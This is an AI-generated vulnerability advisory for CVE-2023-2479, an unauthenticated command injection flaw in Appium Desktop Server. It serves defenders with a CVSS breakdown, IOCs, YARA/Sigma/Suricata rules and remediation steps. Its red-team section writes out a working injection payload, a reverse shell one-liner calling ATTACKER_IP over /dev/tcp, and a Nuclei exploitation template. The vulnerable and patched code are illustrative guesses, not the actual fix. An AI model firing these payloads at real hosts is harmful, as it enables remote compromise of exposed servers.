CVE-2023-2479
Executive Summary
CVE-2023-2479 is a critical OS Command Injection vulnerability in Appium Desktop Server, a popular open-source tool for mobile application testing. The vulnerability allows an unauthenticated attacker to execute arbitrary system commands by injecting malicious payloads through the url parameter. With a CVSS score of 9.8, this flaw poses a severe risk to any exposed Appium Desktop Server instance, potentially leading to full system compromise, data exfiltration, and lateral movement within the network.
The vulnerability exists in versions prior to 1.22.3-4 and has been publicly disclosed with proof-of-concept (PoC) code and a Nuclei template available. The EPSS score of 0.92665 indicates a high probability of exploitation in the wild. No supply chain package security concerns are directly associated with this CVE as it is not an NPM, PyPI, Go, or Ruby package.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N) - Exploitable remotely.
- Attack Complexity: Low (AC:L) - No special conditions required.
- Privileges Required: None (PR:N) - No authentication needed.
- User Interaction: None (UI:N) - No user action required.
- Scope: Unchanged (S:U) - Vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) - Full system read access.
- Integrity Impact: High (I:H) - Full system write access.
- Availability Impact: High (A:H) - Full system denial of service.
Threat Level: Critical. The combination of remote exploitability, low complexity, and no authentication makes this a high-priority vulnerability for immediate patching.
Deep Dive & Mechanics
The vulnerability is an OS Command Injection (CWE-78) in the url parameter of Appium Desktop Server. The server fails to properly sanitize user-supplied input before passing it to a system command. An attacker can inject arbitrary commands by crafting a malicious URL that includes shell metacharacters.
Root Cause: The server likely uses a function like exec() or child_process.exec() in Node.js without proper input validation or escaping. The url parameter is directly concatenated into a command string, allowing injection of commands such as ;, |, &&, or backticks.
Attack Flow:
- An attacker sends a GET request to the Appium Desktop Server with a crafted
urlparameter. - The server processes the request and passes the
urlvalue to a system command (e.g.,curl,wget, or a custom script). - The injected command is executed with the privileges of the Appium server process.
- The attacker can then execute arbitrary commands, exfiltrate data, or establish persistence.
Example Payload: /?url=;id would execute the id command on the server.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-1.22.3-4):
// Example of vulnerable code pattern
const url = req.query.url;
exec('curl ' + url, (error, stdout, stderr) => {
// process output
});
Patched Code (1.22.3-4):
// Example of patched code using proper sanitization
const url = req.query.url;
const sanitizedUrl = url.replace(/[^a-zA-Z0-9:\/\.\?\&\=\-]/g, '');
exec('curl ' + sanitizedUrl, (error, stdout, stderr) => {
// process output
});
The patch introduces input validation to strip dangerous characters, preventing command injection. The specific commit (12a988aa08b9822e97056a09486c9bebb3aad8fe) should be reviewed for exact changes.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A vulnerable Appium Desktop Server instance (version < 1.22.3-4)
- A listener for outbound connections (e.g., interactsh, Burp Collaborator, or a VPS)
Exploitation Steps:
- Identify Target: Scan for Appium Desktop Server instances on port 4723 (default) or other ports.
- Verify Vulnerability: Send a benign payload to confirm injection:
curl "http://target:4723/?url=;echo%20test" - Execute Command: Inject a command to exfiltrate data or gain a reverse shell:
# Reverse shell (Linux) curl "http://target:4723/?url=;bash%20-i%20>&%20/dev/tcp/ATTACKER_IP/4444%200>&1" - Use Nuclei Template: The provided Nuclei template can be used for automated scanning:
id: CVE-2023-2479 info: name: Appium Desktop Server - Remote Code Execution author: zn9988 severity: critical description: | OS Command Injection in GitHub repository appium/appium-desktop prior to v1.22.3-4. impact: | Unauthenticated attackers can exploit OS command injection through the url parameter to execute arbitrary system commands and completely compromise Appium Desktop Server installations. remediation: Fixed in v1.22.3-4 reference: - https://nvd.nist.gov/vuln/detail/CVE-2023-2479 - https://huntr.dev/bounties/fbdeec3c-d197-4a68-a547-7f93fb9594b4/ - https://github.com/appium/appium-desktop/commit/12a988aa08b9822e97056a09486c9bebb3aad8fe - https://github.com/Marco-zcl/POC - https://github.com/d4n-sec/d4n-sec.github.io classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-2479 cwe-id: CWE-78 epss-score: 0.92665 epss-percentile: 0.99753 cpe: cpe:2.3:a:appium:appium-desktop:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: appium product: appium-desktop tags: cve2023,cve,huntr,appium,oast,rce,vuln http: - method: GET path: - '{{BaseURL}}/?url=<img/src="http://{{interactsh-url}}">' matchers-condition: and matchers: - type: word part: body words: - 'The requested resource could not be found, or a request was received using an HTTP method that is not supported by the mapped resource' - type: word part: header words: - 'application/json' - type: word part: interactsh_protocol # Confirms the DNS Interaction words: - "dns" - type: status status: - 404
Blue Team (Defensive)
Detection Steps:
- Monitor Logs: Look for unusual GET requests to the root path with a
urlparameter containing shell metacharacters (;,|,&,`). - Network Monitoring: Detect outbound connections to unknown IPs or domains from the Appium server.
- File Integrity: Monitor for changes to system binaries or configuration files.
Honeypot Setup:
- Deploy a decoy Appium Desktop Server on a non-production network.
- Log all requests and analyze for injection attempts.
- Use the Nuclei template to simulate attacks and verify detection.
Indicators of Compromise (IOCs)
Network IOCs:
- GET requests to
/?url=with shell metacharacters. - Outbound connections to attacker-controlled IPs/domains on common ports (4444, 8080, 80, 443).
- DNS queries to interactsh or similar services.
- GET requests to
Host IOCs:
- Unexpected processes spawned by the Appium server (e.g.,
bash,sh,curl,wget). - New files in
/tmpor/var/tmpwith suspicious names. - Modified system binaries or configuration files.
- Unexpected processes spawned by the Appium server (e.g.,
Log IOCs:
- Appium logs containing command injection payloads.
- System logs showing execution of commands like
id,whoami,uname -a.
Detection Engineering
YARA Rule
rule CVE_2023_2479_Appium_RCE {
meta:
description = "Detects Appium Desktop Server command injection attempts"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-2479"
strings:
$payload1 = "/?url="
$payload2 = "|"
$payload3 = ";"
$payload4 = "`"
$payload5 = "$("
condition:
any of ($payload*) and filesize < 10KB
}
Sigma Rule
title: Appium Desktop Server Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2023-2479 via command injection in the url parameter
author: Valters IT
date: 2024/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-2479
logsource:
category: webserver
product: appium
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/?url='
cs-uri-query|contains|any:
- ';'
- '|'
- '`'
- '$('
condition: selection
falsepositives:
- Legitimate use of special characters in URLs (rare)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-2479 Appium Desktop Server Command Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/?url="; http_uri; pcre:"/(\||;|`|\$\(|&&)/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade Appium Desktop Server to version 1.22.3-4 or later.
- Workaround: If patching is not possible, restrict access to the Appium server using a firewall or reverse proxy. Only allow trusted IPs.
- Input Validation: Implement strict input validation for the
urlparameter, allowing only alphanumeric characters and safe URL components.
Long-term Measures:
- Code Review: Review all code that executes system commands and ensure proper sanitization.
- Least Privilege: Run the Appium server with minimal necessary privileges.
- Monitoring: Deploy the provided detection rules to identify exploitation attempts.
- Vulnerability Scanning: Regularly scan for known vulnerabilities using tools like Nuclei.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.
{/* [Security Hash: EF6B924577E94A2F45697BBC] */}
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.